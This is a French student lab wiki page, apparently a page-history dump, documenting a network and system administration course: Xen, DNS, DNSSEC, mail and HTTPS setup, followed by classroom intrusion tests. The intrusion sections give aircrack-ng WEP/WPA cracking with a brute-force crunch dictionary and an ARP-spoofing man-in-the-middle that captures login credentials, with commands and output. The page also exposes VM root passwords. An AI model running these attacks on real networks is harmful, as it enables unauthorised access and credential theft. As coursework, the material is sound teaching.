3 0/ 2 00(47360) 34(46848) 4E(45824) 6F(44800) 35(44544) <br />
4 0/ 1 00(50688) 09(45824) 50(45568) FD(45056) 5E(44032) <br />
5 0/ 3 00(46592) BD(45824) 4A(45824) 5A(45056) 87(45056) <br />
6 0/ 1 00(51456) 09(47104) 3A(45824) F9(45824) 04(45568) <br />
7 0/ 1 00(51712) C9(47360) 08(46336) 56(45312) E2(44800) <br />
8 0/ 1 00(54016) 05(45568) C1(45312) D5(44544) B7(44288) <br />
9 0/ 2 00(47872) 56(46592) 84(45568) 88(45568) F2(45056) <br />
10 1/ 2 09(48128) 6B(45824) D5(45824) 0C(45568) C2(45568) <br />
11 0/ 2 99(48128) 76(47616) 99(46080) E6(46080) 06(44800) <br />
12 2/ 4 FD(44800) DE(44544) B9(44032) 3F(43776) 94(43776) <br />
<br />
KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:00:09:99:99 ] <br />
Decrypted correctly: 100%<br />
<br />
Et voila nous avons trouver clef du réseau wifi cracotte05<br />
<br />
=== Utilisation de AirCrack pour clef WPA2-PSA ===<br />
<br />
On va maintenant craquer le réseau Kracotte05 qui est un réseau WPA on sait d'avance que la clef WPA est un nombre sur 8 chiffres.<br />
On va donc faire un "cassage par force brute" avec un fichier texte contenant tout les combination de 00000000 a 99999999.<br />
<br />
On commence par installer Crnch avec la commande <code>sudo apt-get install -y crunch</code><br />
<br />
Une fois installer on génère un fichier dictionnaite.txt avec la commande <code>crunch 8 8 0123456789 >> dictionnaire_wpa.txt</code><br />
On relance la commande <code>airodump-ng -w reseau_kracotte05 -c 5 --bssid 00:14:1B:60:8C:24</code><br />
On a bien sure remplacer le ssid et le chanel par celui du wifi Kracotte05.<br />
<br />
Puis nous lançons aircrack-ng avec la commande <code>aircrack-ng reseau_kracotte05-01.cap -w dictionnaire_wpa.txt</code><br />
Read 121032 packets.<br />
<br />
# BSSID ESSID Encryption<br />
<br />
1 00:14:1B:60:8C:24 kracotte05 No data - WEP or WPA<br />
<br />
Choosing first network as target.<br />
<br />
Opening reseau_kracotte05-01.cap<br />
Read 121032 packets.<br />
<br />
1 potential targets<br />
Got no data packets from target network!<br />
Quitting aircrack-ng...<br />
<br />
On peut voir que cela prend du temps pour récupérer les data nécessaire pour effectuer le crackage 1 data toutes les 15 minutes.<br />
Une fois que on a récupérer les data, on peux effectuer le "cassage par force brute" <br />
<br />
Aircrack-ng 1.5.2 <br />
<br />
[00:32:18] 10323450/102795810 keys tested (2771.75 k/s) <br />
<br />
Time left: 9 hours, 16 minutes, 11 seconds 10.04%<br />
<br />
KEY FOUND! [ 10244444 ]<br />
<br />
<br />
Master Key : D6 B0 55 29 8C A0 B4 C9 13 24 C9 03 8C D5 13 4B <br />
46 A4 C2 DB 79 E7 4C BC AE B5 5A 5D 48 D7 C4 3B <br />
<br />
Transient Key : 25 23 28 1B 21 51 4B 87 07 51 A4 8E D1 80 48 C8 <br />
54 F6 87 8B 30 DF C1 D0 E6 1A 74 87 2F 50 EC 1B <br />
9B 24 39 29 40 E3 BD 89 CD AE 3E 81 E9 EC 16 70 <br />
79 F9 24 2E 30 4E 52 24 A9 41 30 52 E1 25 EC 85 <br />
<br />
EAPOL HMAC : 7F AC 76 7D B5 33 0C 24 20 C3 BA A2 4B DF 2F CD<br />
<br />
On a bien trouver la clé du wifi !<br />
On voit que cela peut prendre beaucoup de temps pour trouver la clé, d'out l'interner de couper le dictionnaire en plusieurs et lancer le traitement sur plusieurs pc des camarades de classe. Cela permet de diviser le temps de traitement par le nombre de machine utilisé.<br />
<br />
===Exploitation de failles du système===<br />
<br />
===Attaque de type "homme au milieu" par usurpation ARP===<br />
Maintenant on tesnt une attaque par "homme au milieu" pour commancé, on va installer le paquetage <code>dsniff</code> pour cela on utilise la commande : <code>apt-get install dsniff</code><br />
<br />
On regarde dans un premier temps si le pc peut se comporter comme un routeur avec la commande <code>cat /proc/sys/net/ipv4/ip_forward</code> normalement il nous notifie '0' se qui prouve que le pc ne se comporte pas comme un routeur. On utilise la commande <code>cat /proc/sys/net/ipv4/ip_forward</code> pour faire passer la variable a 1. maintenant le PC peut se comporter comme un routeur.<br />
<br />
On fait la commande <code>cat /proc/sys/net/ipv4/conf/all/rp_filter</code> la variable recu doit être a '0' ce qui permet aux pc de renvoyer les requètes sur l'interface qui les a recu.<br />
<br />
Ensuite on fait un <code>ip r</code> pour récupérer l'adresse ip du routeur.<br />
[[Fichier:Ip_r_mirage.png|1000px|thumb|left|capture de la commande ip r]]<br />
<br style="clear: both;" \><br />
<br />
On fait la commande <code>arpspoof -i bridge -t zabeth07 172.26.145.254</code><br />
On lance Wireshark en root en utilisant la commande <code>su</code> si celui ci n'est pas installer on fait préalablement <code>apt-get install wireshark</code><br />
Une fois Wireshark lancé, on filtre tout les paquets en provenance de nottre cible la zabeth07.<br />
Il faut fauire attention de bien désativer les proxi dans firefow sinon cela ne fonctionne pas.<br />
<br />
[[Fichier:Wireshark_mirage.png|1000px|thumb|left|capture de Wiresharkf]]<br />
<br style="clear: both;" \><br />
<br />
On peut voir que on a bien recupérer les mdp lors de la connexion aux site 'applications.polytech-lille.net'.<br />
Non d'utilisateur : Oui le pas de calais<br />
Mdp : le mdp<br />
<br />
=== Intrusion sur un serveur d’application Web===<br />
<br />
==Réalisations==<br />
<br />
===Sécurisation de données===<br />
<br />
===Chiffrement de données===<br />
<br />
Parfois il est necessaire de chiffrer les données importante,d'avoir des clef USB, ou des fichier sécuriser. Pour sécuriser la clef USB, on va utilisé 'cryptsetup'<br />
pour commancer on installe les paquetages 'lvm2' et 'cryptsetup'.<br />
apt-get install cryptsetup<br />
apt-get install lvm2 <br />
<br />
Le [https://doc.ubuntu-fr.org/cryptsetup site] on peut trouver la liste des commandes necessaire pour crypter le clef USB.<br />
<br />
Premièrement on va formaté la clef usb pour avoir un disque propre avec la commande <code>mkfs.vfat -n 'Alex.G' -I /dev/sdb1</code> on obtien le nom de la clef USB avec la commande <code>df -h</code><br />
On a maintenant une clef USB clean qui a comme nom Alex.G et un format FAT32.<br />
<br />
On peut lancer le cryptage de la clef USB avec la commande <code>cryptsetup luksFormat -c aes-xts-plain -s 512 /dev/sdb</code> Pour savoir ou les la clef USB on utilise la commande <code>lsblk</code><br />
On choisi un mdp pour le clef USB, puis on envoie le fichier etc sur le clef pour vérifier si il est bien encrypter. Une fois la clef crypter avec un fichier dessu, on va sur un autre pc et on, vérifie si le fichier est bien crypter.<br />
La liste des commande utilisé est listé ci-dessous : <br />
mount /dev/mapper/Alex.G /mnt<br />
cp -r /etc /mnt<br />
umount /mnt<br />
cryptsetup luksClose Alex.G<br />
<br />
On peut voir que le clef USB crypter fonctionne bien.<br />
[[Fichier:ClefUSBLock_2020-11-13_11-48-55.png|1000px|thumb|left|Cryptage de la clef USB]]<br />
<br style="clear: both;" \><br />
<br />
===Inspection ARP par un élément réseau===<br />
<br />
===Sécurisation WiFi par WPA2-EAP===</div>Aglainehttps://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G5&diff=54011TP sysres IMA2a5 2020/2021 G52020-11-27T17:06:12Z<p>Aglaine : /* Services Internet */</p>
<hr />
<div>== Introduction ==<br />
<br />
Cet atelier consiste en la réalisation d’une maquette de réseau permettant de manipuler les protocoles de redondance réseau ainsi que le protocole réseau IPv6. D’un point de vue système vous aurez à installer une machine virtuelle Xen et à y configurer des services. Enfin la mise en place d’un réseau WiFi sécurisé et d’un site web sécurisé vous permettent de mettre en pratiques vos connaissances en la matière.<br />
<br />
=== Tableau Récapitulatif ===<br />
{| class="wikitable" style="text-align: center;width: 35%;margin: auto;"<br />
! Description !! Détails<br />
|-<br />
! scope="row" style="width: 40%"|ID VLAN<br />
|style="width: 60%"|Vlan7<br />
|-<br />
! scope="row" style="width: 40%"|Réseau IP V4<br />
|style="width: 60%"|193.48.57.168/26<br />
|-<br />
! scope="row" style="width: 40%"|Réseau IP V6<br />
|style="width: 60%"|2001:660:4401:60a2:216:3eff:fe95:d093/64<br />
|-<br />
! scope="row" style="width: 40%"|Nom de de la VM <br />
|style="width: 60%"|mirage<br />
|-<br />
! scope="row" style="width: 40%"|Numéro de poste<br />
|style="width: 60%"|Zabeth06<br />
|-<br />
! scope="row" style="width: 40%"|Adresse du site internet version HTTP<br />
|style="width: 60%"|http://www.glopglop.site/<br />
|-<br />
! scope="row" style="width: 40%"|Adresse du site internet version HTTPS<br />
|style="width: 60%"|https://www.glopglop.site/<br />
|-<br />
|}<br />
<br />
== Installation des systèmes d’exploitation == <br />
<br />
Pour installer une Machine Virtuelle, il faut d'abord se connecter sur le disque de virtualisation.<br />
Pour cela, il faut utiliser la commande : <br />
ssh capbreton.plil.info<br />
<br />
=== Installation dans la machine virtuelle Xen ===<br />
<br />
Une fois connecter, il faut lancer la création de la Machine virtuelle avec la commande :<br />
xen-create-image --hostname=mirage --ip 193.48.57.168 --netmask=255.255.255.0 --gateway=100.64.0.5 --dist=ascii --dir=/usr/local/xen --force<br />
<br />
L'installation prend un certain temps pour regarder si l'installation se déroule bien, on peut ouvrir un second terminale connecté en SSH a "capbreton" puis on utilise la commande : <br />
tail -f /var/log/xen-tools/mirage.0.log<br />
<br />
A la fin de l'installation, on obtient le mot de passe root et des informations importantes :<br />
Installation Summary<br />
---------------------<br />
Hostname : mirage<br />
Distribution : ascii<br />
MAC Address : xxxxxxxxxxx<br />
IP Address(es) : dynamic<br />
SSH Fingerprint : SHA256:xxxxxxx (DSA)<br />
SSH Fingerprint : SHA256:xxxxxxx (ECDSA)<br />
SSH Fingerprint : SHA256:xxxxxxx (ED25519)<br />
SSH Fingerprint : SHA256:xxxxxxx (RSA)<br />
Root Password : DgtUlOmnBFERdfarGBsopGR<br />
<br />
Une fois la VM créer, nous pouvons la lancer avec la commande :<br />
xl create /etc/xen/mirage.cfg<br />
<br />
On peut vérifier que le VM est bien démarrer avec la commande :<br />
xl list<br />
Pour fonctionner l'état de la VM doit être r ou -b<br />
[[Fichier:LancementVm.PNG|1000px|thumb|left|Liste des VM en fonctionnement]]<br />
<br />
<br style="clear: both;" \><br />
<br />
On accède pour la premier fois a nottre Vm avec la commande :<br />
xl console mirage<br />
<br />
il demande alors le login (root) et le mdp (longue chaine précédemment générée). <br />
Après nous être logué, on change le mot de passe qui devient : glopglopglop.<br />
<br />
=== Configuration de la machine virtuelle Xen ===<br />
<br />
Il faut maintenant installer les packages que nous avons besoins : <br />
apt-get update<br />
apt-get install VIM<br />
<br />
Il faut configurer l'adresse IP et le mask de la VM. Pour cela on utilise la commande :<br />
vim /etc/network/interfaces<br />
<br />
Dans interfaces on ajoute <br />
auto eth0<br />
iface eth0 inet static<br />
address 193.48.57.168<br />
gateway 193.58.57.163<br />
netmask 255.255.255.248<br />
<br />
Pour que la machine soit joignable par SSH via l'extérieure il est nécessaire de configurer la passerelle et le ssh_config. Pour cela on utilise la commande :<br />
vi /etc/ssh/ssh_config<br />
<br />
Le fichier ssh_config doit être configurer comme ci dessous :<br />
Host *<br />
SendEnv LANH LC_*<br />
HashKnownHOST yes<br />
GSSAPIAuthentification yes<br />
<br />
Sur Capbreton, une passerelle doit être mis en place pour pouvoir connecté les VM aux monde extérieure.<br />
Pour cela on configure ces interface avec la commande : <br />
vim/etc/network/interfaces<br />
<br />
Puis on configure la passerelle comme ci dessous : <br />
<pre><br />
# The loopback network interface<br />
auto lo<br />
iface lo inet loopback<br />
<br />
# Physical Network Interfaces<br />
#<br />
auto eth<br />
iface eth inet static<br />
address 192.168.0.29<br />
netmask 255.255.255.0<br />
gateway 192.168.0.1<br />
<br />
auto eth0<br />
iface eth0 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth1<br />
iface eth1 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth2<br />
iface eth2 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth4<br />
iface eth4 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth5<br />
iface eth5 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth6<br />
iface eth6 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth7<br />
iface eth7 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
# Main trunk bridge<br />
#<br />
auto Trunk<br />
iface Trunk inet manual<br />
bridge_ports eth4 eth5<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
# Virtual Network Interfaces<br />
#<br />
<br />
auto vlan48<br />
iface vlan48 inet static<br />
vlan-raw-device Trunk<br />
address 172.26.191.21<br />
netmask 255.255.252.0<br />
gateway 172.26.191.254<br />
iface vlan48 inet6 auto<br />
<br />
auto vlan500<br />
iface vlan500 inet manual<br />
vlan-raw-device Trunk<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto vlan502<br />
iface vlan502 inet manual<br />
vlan-raw-device Trunk<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
# Bridge for IMA5sc group<br />
#<br />
<br />
auto IMA5sc<br />
iface IMA5sc inet manual<br />
bridge_ports eth0 eth6<br />
# Bridge for IMA2a5<br />
#<br />
<br />
auto IMA2a5<br />
iface IMA2a5 inet manual<br />
bridge_ports eth1 eth7<br />
# Bridge for L3MRIT group<br />
#<br />
<br />
auto L3MRIT<br />
iface L3MRIT inet manual<br />
bridge_ports eth2<br />
# Bridge for GIS group<br />
#<br />
<br />
auto bridgeGIS<br />
iface bridgeGIS inet manual<br />
bridge_ports vlan502<br />
</pre><br />
<br />
== Architecture réseau ==<br />
<br />
===Sécurisation du réseau===<br />
<br />
==Services Internet==<br />
<br />
===Serveur SSH===<br />
<br />
On peux maintenant se connecté a la VM mirage avec la commande : <code>ssh root@193.48.57.168 -p 2222</code><br />
<br />
===Serveur DNS===<br />
Un serveur DNS (Domain Name System) permet d'effectuer correspondance entre un nom de domaine et une adresse IP. Grâce à DNS, il n'est pas nécessaire de se souvenir des adresses IP pour naviguer sur Ethernet. Pour installer notre propre serveur DNS nous avons utilisé Bind9.<br />
<br />
Nous commençons tout d'abord par installer bind9 via la commande suivante : <code>apt-get install bind9</code><br />
<br />
==== Création et configuration named.conf.local ====<br />
Le <code>named.conf.local</code> permet de faire pointer un nom de domaine pleinement qualifié (FQDN fully qualified domain name) sur une adresse IP. <br />
<br />
Il faut tout d'abbord modifié le fichier <code>/etc/bind/named.conf.local</code> qui contient la configuration DNS et y déclaré les zones associées au domaine ainsi qu'un fichier de description de la zone.<br />
<br />
[[Fichier:Mirage-config-named.conf.local.png|1000px|thumb|left|Configuration de mirage]]<br />
<br style="clear: both;" \><br />
<br />
Puis créé le fichier de configuration appelé <code>glopglop.site</code> avec la commande <code>vim /etc/bind/glopglop.site</code><br />
<br />
[[Fichier:Configuration_bind9.png|1000px|thumb|left|Configuration de bind9]]<br />
<br style="clear: both;" \><br />
<br />
On relance le service 'bind9' avec la commande :<code>service bind9 restart</code><br />
<br />
On vérifie que le DNS fonctionne bien avec le commande <code>host dns1.glopglop.site localhost</code><br />
[[Fichier:Dns1.glopglop.site_2020-11-13_08-57-52.png|1000px|thumb|left|Vérification du DNS en local]]<br />
<br style="clear: both;" \><br />
Le DNS fonctionne donc bien.<br />
<br />
==== Configuration gandi.net ====<br />
Grâce au registrar gandi.net, nous avons réservé le nom de domaine <code>glopglop.site</code>. L'extension <code>.site</code><br />
<br />
[[Fichier:Gandi-glopglop-VueGeneral.PNG|1000px|thumb|left|Image de la configuration de Gandi]]<br />
<br style="clear: both;" \><br />
<br />
On va maintenant ajouter un "glue record" qui est un enregistrement collé. Il permet d'associer un nom d'hôte avec une adresse IP au registre.<br />
Glue records fournis par Gandi pour associer un hostname (nom de serveur ou DNS) à l'adresse IP de notre machine. Les modifications seront effectives entre 12 et 24 heures.<br />
<br />
[[Fichier:Mirage-Ajoue-GlueRecord.PNG|1000px|thumb|left|Image de la configuration de Gandi avec Glue Record]]<br />
<br style="clear: both;" \><br />
<br />
Une fois le "glue record" renseigner se qui va lié notre DNS a une ip, il faut renseigner les serveur de non. cela prend 27/72h.<br />
Il faut bien faire attention que la VM soit correctement configurer avec 'bind9' car c'est lui qui donne IPv4 et IPv6 correspondant à vos noms de machines. Si ce n'est pas le cas Gandi ne pourras pas liée les DNS a l'ip de la machine.<br />
<br />
[[Fichier:GandiDNS_2020-11-13_09-00-16.png|1000px|thumb|left|DNS sur GANDI]]<br />
<br style="clear: both;" \><br />
<br />
Une fois les serveuyrs de non configurer, on peux fermer GANDI.<br />
<br />
===Sécurisation de site web par certificat===<br />
<br />
===Sécurisation de serveur DNS par DNSSEC===<br />
Premièrement, on ajoute <code>l'obtion dnssec-enable yes;</code> dans le fichier <code>named.conf.options</code>.<br />
====Génération des clef asymétrique====<br />
Il est important de bien sauvegarder la clef privée, sinon notre système de clef ne fonctionnera pas.<br />
pour commencer, on crée un répertoire pour stocker les clef.<br />
cd /etc/bind<br />
mkdir glopglop.site.dnssec<br />
cd glopglop.site.dnssec/<br />
<br />
Une fois dans le dossier <code>glopglop.site.dnssec</code>, on crée les clefs avec la commande<code>dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE glopglop.site</code><br />
On obtien : <br />
Generating key pair...............+++++ ..........................................+++++ <br />
Kglopglop.site.+005+15337<br />
<br />
On crée ensuite le clef asymétrique pour la signature des enregistrements, pour cela on utilise la commande <code>dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE glopglop.site</code><br />
On obtien : <br />
Generating key pair................+++++ ..................................................+++++ <br />
Kglopglop.site.+005+55608<br />
<br />
On a bien maintenant la paire de clef privée/publique. Le problème est qu'il est difficile de les distinguer avec leurs nom compliquer, il faut donc les renommer pour plus de transparence.<br />
On renomme donc les deux paires de clefs obtenues en utilisant le nom de la zone comme préfixe puis en suffixant d’abord par la destination de la clef (-ksk pour la KSK ou -zsk pour la ZSK) puis par le type de clef (.key pour la clef publique ou .private pour la clef privée);<br />
<br />
mv Kglopglop.site.+005+15337.key glopglop.site-ksk.key<br />
mv Kglopglop.site.+005+15337.private glopglop.site-ksk.private<br />
mv Kglopglop.site.+005+55608.key glopglop.site-zsk.key<br />
mv Kglopglop.site.+005+55608.private glopglop.site-zsk.private<br />
<br />
[[Fichier:ClefPrivéePublique_2020-11-13_09-23-42.png|1000px|thumb|left|Clef Privée et Public]]<br />
<br style="clear: both;" \><br />
<br />
Dans <code>db.glopglop.site</code> on ajoute les deux lignes ci-dessous : <br />
$include /etc/bind/glopglop.site.dnssec/glopglop.site-ksk.key<br />
$include /etc/bind/glopglop.site.dnssec/glopglop.site-zsk.key<br />
<br />
On signe la zone d'enregistremment avec la commande <code>dnssec-signzone -o glopglop.site -k glopglop.site-ksk ../db.glopglop.site glopglop.site-zsk</code><br />
[[Fichier:Zones_d'enregistrement_2020-11-13_10-27-11.png|1000px|thumb|left|Generation des zones d'enregistrement]]<br />
<br style="clear: both;" \><br />
<br />
Les clef sont maintenant fonctionelle il faut donc les ajouter a GANDI, pour cela on se connecte a gandi puis on ajoute une clef KSK.<br />
pour obtenir la cled on utilise la commande <code>cat glopglop.site-ksk.key</code> on obtien le résultat ci-dessous : <br />
; This is a key-signing key, keyid 15337, for glopglop.site.<br />
; Created: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
; Publish: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
; Activate: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
glopglop.site. IN DNSKEY 257 3 5 AwEAAc3TCJkWFGnZSj/Q364AF7n69UaXum/no+LuEbXbGjTXLETdYk+Q gVAmIpvbJXcG0rucJTbVFaHr8IhWqf7VvkCbEGAORAkzBVXThPDR1pZR lJDEY88Lb2T6k9uHw43l2oP8vPev2eIRbU3VxUuJs++elgj32DTBA+yK p++/gz29H6PQVpkHnH81RjGdV+K1RZEwxkuev2MmB329fhMRwTsbW0BV aeXc5faRk9ZEKb7tr0p7txVv4wZEL6it01ZiNyGktwLRj8ln+cQz1GtC PY/UWnCtamycE/2k4f98sdDa6TMiguuBNOPug+ODzqGiI7LNUyF4jBbf 6NAgChwITps=<br />
<br />
On ajoute la clef a Gandi comme montrer ci-dessous en n'oubliant pas de sélectionner '5(RSA/SHA-1'.<br />
[[Fichier:Zones_d'enregistrement_2020-11-13_10-27-11.png|1000px|thumb|left|gandi enregistrement de la clef KSK]]<br />
<br style="clear: both;" \><br />
<br />
Pour vérifier que tout fonctionne correctement, on va sur le site 'dnsvizi.net' il nous permet d'analyser le DNS et représente la chaine d'authentification DNSSEC.<br />
[[Fichier:DNSSEC_2020-11-13_11-59-06.png|1000px|thumb|left|Test du DNSSEC]]<br />
<br style="clear: both;" \><br />
<br />
On peut voir que maintenant on a bien le statu 'SECURE' donc tout fonctionne bien.<br />
<br />
===Installation d'une messagerie===<br />
====Configuration de Postfix====<br />
Pour recevoir le mail de vérification de GANDI il faut sur la VM un gestionnaire de mail il faut installer mutt et postfix. On utilise les commandes ci-dessous : <br />
apt-get install postfix<br />
ant-get install mutt<br />
<br />
A l'installation de 'postfix' un fenêtre de configuration s'ouvre. <br />
Il faut renseigner le non du site comme 'System mail name : 'glopglop.site'<br />
<br />
On vérifie la configuration de 'postix' en allant dans le 'main.cf'<br />
vi /etc/postfix/main.cf <br />
<br />
[[Fichier:Config Postfix mirage.png|1000px|thumb|left|Configuration de postfix]]<br />
<br style="clear: both;" \><br />
<br />
On a bien le non de domaine 'glopglop.site' on peut relancer 'postfix'<br />
service postfix restart<br />
Si le service n'est pas configurer correctement, on peut le reconfigurer avec la commande <code>dpkg-reconfigure postfix</code><br />
====Réception d'un message====<br />
On peux testé la réception de message en envoyant un message a 'roor@glopglop.site'<br />
Si tout fonctionne bien, on peux visualisé les message reçu en tapant la commande <code>mutt</code><br />
<br />
[[Fichier:Reception_messages_mirage.png|1000px|thumb|left|texte descriptif]]<br />
<br style="clear: both;" \><br />
<br />
On constate que on reçoit bien les message en provenance du mail de Polytech.<br />
Pour que Gandi puissent nous envoyer le mail contenant la clef de cryptage, on a besoin de pouvoir recevoir les messages qui sont destiné a 'admin@glopglop.site'<br />
<br />
Pour cela on va modifier le fichier 'vim /etc/aliases' en ajoutant la commande <code>admin:root</code><br />
On crée ensuite un <code>newaliases</code> puis on restarte bind9 avec la commande <code>service bind9 restart</code><br />
<br />
Attention pour les test il est conseiller d'utilisé deux boite mail différant care celle ci prenne du temps pour se mettre a jours.<br />
<br />
====Envoie du SSL Certification Gandi====<br />
<br />
Quand on est sure que le mail fonctionne bien avec l'envoie d'un message a destination de 'admin@glopglop.site' on peux demandé a gandi de bous envoyer la clef de cryptage.<br />
On demande d'envoyé le ssl certification a notre VM, cela peux prendre un certain temps.<br />
<br />
[[Fichier:SSL_Certification_Gandi_Mirage.png|1000px|thumb|left|texte descriptif]]<br />
<br style="clear: both;" \><br />
<br />
Dans le mail de Gandi on reçoit un code de confirmation ainsi qu'un mot de passe. Une fois confirmer, on peut télécharger les fichiers 'glopglop.site.crt' et 'GandistandardSSLCA2.perm'<br />
<br />
Une fois les fichiers télécharger et importer dans la Vm dans le dossier '/root', il faut dire que quand on se connecte sur le site 'glopglop.site' en 'https' il dois utilisé la cled publique 'myserver.key'.<br />
[[Fichier:Gandi-téléchargement_clefetcertifica_mirage.png|1000px|thumb|left|Fichiers Gandi a téléchargé]]<br />
<br style="clear: both;" \><br />
<br />
quand on utilise le ssh on passe par le port '442' dans le fichier <code>/etc/apache2/sites-available/default-ssl.conf</code><br />
On ajoute les lignes suivantes : <br />
<br />
SSLEngine on<br />
SSLCertificateFile /root/glopglop.site.crt<br />
SSLCertificateKeyFile /root/myserver.key<br />
SSLCertificateChainFile /root/GandiStandardSSLCA2.pem <br />
<br />
On reboot le service apash2 pour qu'il prenne les modification en compte.<br />
Le service ne fonctionne pas encore car on a rien qui écoute le port 442. <br />
/etc/apache2/sites-available/default-ssl.conf <br />
dnssec-signzone -o glopglop.site -k glopglop.site-ksk ../db.glopglop.site glopglop.site-zsk<br />
service bind9 restart<br />
Il ne faut pas oublier d'incrémenter le numéro de version avant de restart le service 'bind9'<br />
<br />
On vérifie que tout fonctionne bien avec les commandes : <br />
host www.glopglop.site<br />
www.glopglop.site is an alias for dns1.glopglop.site.<br />
dns1.glopglop.site has address 193.48.57.168<br />
<br />
host www.glopglop.site ns6.gandi.net<br />
Using domain server:<br />
Name: ns6.gandi.net<br />
Address: 2001:4b98:d:1::40#53<br />
Aliases: <br />
<br />
www.glopglop.site is an alias for dns1.glopglop.site.<br />
dns1.glopglop.site has address 193.48.57.168<br />
<br />
On peut maintenant vérifier que le site est maintenant bien sécurisé en 'https'<br />
<br />
[[Fichier:Glopglop.site_Securisé.png|1000px|thumb|left|GlopGlop.site en Https]]<br />
<br style="clear: both;" \><br />
<br />
on a maintenant un site sécurisé en 'https'<br />
<br />
====Modification de la page d'accueille Apashe2====<br />
<br />
Pour éviter d'avoir la page de base Apash2, on va modifier le fichier 'index.html' pour cela il suffit d'éditer le fichier avec vim avec la commande <code>vim /var/www/html/index.html</code>.<br />
<br />
Le site : https://www.w3schools.com/html/html_examples.asp explique comment faire sa propre page web.<br />
la page pour le site 'glopglop.site' ne sert que d'exemple si on veux une page plus élaborer des template sont directement disponible sur le net avec en prime les fichiers css pour obtenir un site vraiment attractif. mais on cherche juste pour le moment a avoir une page différente de test.<br />
<br />
==Tests d’intrusion==<br />
<br />
=== Description ===<br />
Un ordinateur portable et une clef Wifi est fourni par Monsieur Redon. Pour que le clef fonctionne il est nécessite pas nécessairement de la configuration. Il faut aussi installer les paquetages nécessaire pour craquer la clef Wep et la clef WPA <br />
<br />
=== Installation de la clef Wifi ===<br />
Avec la commande <code>lsusb</code> on peux voir la list des interfaces connecté aux pc. Ci-dessous les résultats obtenu.<br />
<br />
Bus 003 Device 004: ID 148f:5370 Ralink Technology, Corp. RT5370 Wireless Adapter<br />
Bus 003 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub<br />
Bus 003 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
Bus 004 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub<br />
Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
Bus 001 Device 004: ID 413c:2003 Dell Computer Corp. Keyboard<br />
Bus 001 Device 003: ID 046d:c016 Logitech, Inc. Optical Wheel Mouse<br />
Bus 001 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub<br />
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
<br />
La clef ubs Wifi est bien détécter.<br />
On doit donc installer le pilote pour les clef usb RT5370 avec la commande :<br />
apt-get install firmware-ralink<br />
apt-get install firmware-misc-nonfree<br />
<br />
Une fois les pilotes installer, on récupéère le nom de l'interface wifi avec la commande <code>ip l</code> et on récupère le résultat ci-dessous : <br />
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00<br />
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master bridge state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:22:4d:7a:f1:c3 brd ff:ff:ff:ff:ff:ff<br />
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master bridge state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:15:17:3b:14:a8 brd ff:ff:ff:ff:ff:ff<br />
5: bridge: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:15:17:3b:14:a8 brd ff:ff:ff:ff:ff:ff<br />
6: vmnet1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/ether 00:50:56:c0:00:01 brd ff:ff:ff:ff:ff:ff<br />
7: vmnet8: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/ether 00:50:56:c0:00:08 brd ff:ff:ff:ff:ff:ff<br />
8: wlx40a5ef059784: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc mq state DOWN mode DEFAULT group default qlen 1000<br />
link/ether 40:a5:ef:05:97:84 brd ff:ff:ff:ff:ff:ff<br />
<br />
La clef wifi s'apelle donc <code>wlx40a5ef059784</code> on fait maintenant un <code> ip link set wlx40a5ef059784 up></code><br />
<br />
Avec la comande <code>dmsg</code> on vérifie que la clef wifi fonctionne bien. <br />
<br />
=== Installation du paquetage AirCrack-ng ===<br />
Pour installer [https://doc.ubuntu-fr.org/aircrack-ng AirCrack] (utilitaire qui permet de casser les clefs WEP et WPA), il faut de taper la commande :<br />
apt-get install aircrack-ng<br />
apt-get install firmware-misc-nonfree<br />
<br />
=== Utilisation de AirCrack pour clef WEP ===<br />
<br />
Après avoir branché la clef WiFi, on se sert de <code>airmon-ng</code> qui est un utilitaire qui espionne le réseau et permet d'obtenir les types d'interfaces communicantes/espionnable.<br />
airmon-ng<br />
Pour tenter de s'y connecter en tant qu'espion, il faut alors taper (nous le tapons ici avec wlan0mon):<br />
airmon-ng start wlx40a5ef059784<br />
Puis, pour observer et découvrir les canaux associés au réseau et leurs SSID,il faut taper:<br />
